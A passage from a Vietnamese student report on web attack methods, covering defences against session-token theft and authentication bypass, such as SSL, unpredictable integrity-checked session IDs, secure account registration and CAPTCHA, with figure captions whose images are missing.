có còn hợp lệ và có các quyền truy cập khác nhau.
22
Nghiên cứu một số phương pháp tấn công Web
3.2.2 Phương pháp phòng tránh:
- Sử dụng SSL: Nghe lén là cách dễ nhất để ăn cắp thẻ bảo mật như cookie. Sử
dụng SSL hoặc kết hợp với công nghệ bảo mật phiên khác để chống lại việc
nghe trộm. Ngoài việc nghe trộm trên đường truyền có dây, chúng ta cũng phải
nhận thức được những vấn đề bảo mật với các khách hàng thường xuyên sử
dụng web cũng có thể làm lộ các thẻ bảo mật để thực hiện các phần mềm mã
độc hại hoặc cross-site sripting. Nhìn chung cách tiếp cận tốt nhất là sử dụng
các session ID được cung cấp bởi các server ứng dụng. Tuy nhiên nếu bạn cần
xây dựng một cái của riêng bạn, bạn nên thiết kế một thẻ bảo mật mà thẻ đó
không thể bị đóan trước hoặc không thể bị tấn công sử dụng brute force. Bạn

cũng nên thực hiện kiểm tra tính tòan vẹn trên các thẻ an ninh như cookie và
session ID để chống lại sự thay đổi cookie trong quá trình truyền hay quá trình
phân tích offline. Nói chung, người ta không khuyến cáo để các dữ liệu nhạy
cảm trong các thẻ bảo mật, ngay cả khi bạn thực hiện một cơ chế mạnh về bảo
mật và kiểm tra tính tòan vẹn.
- Quản lý định danh: Một hệ thống có chức năng xác thực cần có một vài cách để
quản lý định danh đăng kí và quản lý tài khoản…Những hoạt động đó cần phải
được thực hiện một cách bảo mật vì các lỗi có thể ảnh hưởng đến những thông
tin rất nhạy cảm. Thật không may việc quản lý định danh là một việc rất phức
tạp và rất nhiều ứng dụng web không được thực hiện việc này tốt và điều này
dẫn đến việc tòan bộ hệ thống xác thực của trang web bị lộ qua back door.
- Đăng kí người dùng: Đôi khi cách dễ nhất để truy nhập một ứng dụng web là
tạo ra một tài khoản hợp lệ trên hệ thống bằng cách sử dụng hệ thống đăng kí
người dùng. Điều này chủ yếu sử dụng trong việc tấn công bypass bỏ qua việc
xác thực . Tất nhiên lọc các lọc các mối hiểm họa từ các tài khoản đăng kí là
một điều đầy thách thức nhưng các ứng dụng web đã phát triển ra một số cơ chế
để giảm bớt loại tấn công này như CAPCHA (Completely Automated Public
Turing Tests to Tell Computers and Humans Apart). CAPCHA thường được sử
23
Nghiên cứu một số phương pháp tấn công Web
dụng trong các ứng dụng web-base khi người chủ ứng dụng muốn ngăn chặn
một số chương trình hay script. Một vài ví dụ về CAPCHA là:
+ Free E-mail service: Nhiều dịch vụ mail miễn phí sử dụng CAPCHA để
ngăn ngừa các chương trình tạo các account fake và sinh ra thư rác.
+ Ngăn chặn thăm dò password: CAPCHA được sử dụng để login vào
trang để ngăn ngừa các công cụ và các chương trình để tiến hành thăm dò
password.
+ Ngăn ngừa công cụ tìm kiếm CAPCHA: ngăn chặn các công cụ tìm
kiếm ở các chỉ mục của trang.
+ Online polls CAPCHA có thể là một cách hiệu quả để ngăn ngừa

những người làm lệch kết quả của các bản thăm dò bằng cách viết ra một
chương trình mà chương trình này sẽ không trả lời lại các cuộc thăm dò.
CAPCHA là một loại HIP (Human Interactive Proof) cái mà được sử dụng để
xác định xem các thực thể ở bên kia là một máy tính hay là một con người,
phương thức này người ta gọi là RTT (reverse tuning test). Điều khác với
CAPCHA đó là nó hòan toàn tự động và làm cho nó tương thích với các ứng
dụng web. Loại CAPCHA cơ bản thường là dựa trên một đoạn text hay một
đoạn hình ảnh. Các hình ảnh sau đây mô tả việc thực hiện CAPCHA.
Hình 3.3: Gimpy-r CAPCHA
24
Nghiên cứu một số phương pháp tấn công Web
Hình 3.4: CAPCHA sử dụng trong đăng kí tài khoản Hotmail.
Hình 3.5: Một hình ảnh CAPCHAT trên CAPCHA.net
Hình 3.6: Nhận biết kiểu CAPCHA (hình ảnh và text)
25

×